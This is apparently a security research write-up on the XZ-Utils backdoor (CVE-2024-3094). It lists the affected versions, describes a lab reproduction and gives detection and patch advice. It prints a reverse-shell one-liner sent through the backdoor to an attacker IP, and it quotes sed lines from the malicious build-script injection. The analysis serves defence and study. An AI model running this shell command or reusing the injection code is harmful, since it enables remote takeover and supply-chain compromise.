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Research & Technique 
    

 

Analysis of XZ-Utils backdoor malware (CVE-2024-3094) 

 

 

  

 

 

  

https://www.openwall.com/lists/oss-security/2024/03/29/4
https://github.com/tukaani-project/xz
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① The attacker searches for an open-source project vulnerable to supply chain attacks  

② The attacker installs a backdoor in the open-source project software source code 

③ The victims are exposed to attacks when they download the software with the backdoor installed 

④ The attacker triggers backdoors to remotely distribute ransomware and malware on the victims’ PCs 
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S/W Vulnerable versions 

XZ-Utils 5.6.0, 5.6.1 

 

■ Test environment configuration information 

Name Information 

Victim 

Ubuntu 22.04 

XZ-Utils 5.6.1 

(192.168.102.74) 

Attacker 
Kali Linux 

(192.168.219.129) 
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$ python3 patch.py src/liblzma/.libs/liblzma.so.5.6.1 

$ ./main -addr 192.168.102.74 -cmd ` python -c 'import 

socket,subprocess,o;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.216.29",7777));os.du

p2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subproces.call(["/bin/sh","-i"]);'` 

 

 

 

 

https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6
https://github.com/amlweems/xzbot
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sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" 

src/liblzma/check/crc64_fast.c | \ 

sed "/include \"crc64_arm64.h\"/a \\$V" | \ 

sed "1i # 0 \"src/liblzma/check/crc32_fast.c\"" 2>/dev/null 
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0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 
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which xz 

xz --version 

 

 

 

S/W Recommended patch version 

XZ-utils 5.4.6 

 

  

https://tukaani.org/xz-backdoor/
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